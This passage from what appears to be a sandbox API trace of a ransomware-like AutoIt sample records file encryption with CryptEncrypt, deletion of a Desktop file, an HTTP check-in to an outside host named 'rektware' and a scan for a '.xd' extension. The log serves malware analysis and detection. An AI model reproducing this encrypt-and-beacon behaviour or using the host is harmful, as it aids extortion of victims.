lpsz="_CRYPT_STARTUP") returned 0xe [0075.020] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.020] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.021] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.021] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.021] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.021] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.021] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621738, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.021] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.021] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x11a, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x120) returned 1 [0075.021] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.022] CharLowerBuffW (in: lpsz="byte[289]", cchLength=0x9 | out: lpsz="byte[289]") returned 0x9 [0075.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.022] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.022] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.022] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.022] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x163cd70*, pdwDataLen=0x130e618*=0x11a, dwBufLen=0x120 | out: pbData=0x163cd70*, pdwDataLen=0x130e618*=0x120) returned 1 [0075.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.023] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.023] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.023] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.023] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.023] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.023] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.023] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.023] WriteFile (in: hFile=0x3d0, lpBuffer=0x17c9f20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c9f20*, lpNumberOfBytesWritten=0x130f01c*=0x120, lpOverlapped=0x0) returned 1 [0075.024] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.024] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.024] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.024] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.025] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.025] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0075.025] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.025] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.025] CryptDestroyKey (hKey=0x164c430) returned 1 [0075.025] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.025] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.026] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.026] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.026] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.026] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.026] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.026] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.026] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.026] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.026] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.026] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.026] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.026] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.027] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.027] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.027] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.027] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.027] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.027] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.027] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.027] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.027] CryptReleaseContext (hProv=0x1632100, dwFlags=0x0) returned 1 [0075.027] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.027] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.027] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.027] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.028] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.028] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.028] CloseHandle (hObject=0x3d8) returned 1 [0075.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.028] CloseHandle (hObject=0x3d0) returned 1 [0075.030] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.030] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.030] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", lpFilePart=0x0) returned 0x29 [0075.030] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\desktop.ini")) returned 0x26 [0075.030] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c9f0 [0075.030] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\desktop.ini")) returned 1 [0075.033] FindNextFileW (in: hFindFile=0x164c9f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.033] FindClose (in: hFindFile=0x164c9f0 | out: hFindFile=0x164c9f0) returned 1 [0075.033] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.033] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.033] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.033] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.033] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d170 [0075.033] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.033] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.033] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0075.034] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.034] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0075.034] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0075.034] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c) returned 1 [0075.034] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.034] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.034] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.034] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0075.034] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0075.034] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0075.035] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0075.035] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0075.035] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.035] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.035] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.035] CloseHandle (hObject=0x0) returned 0 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW 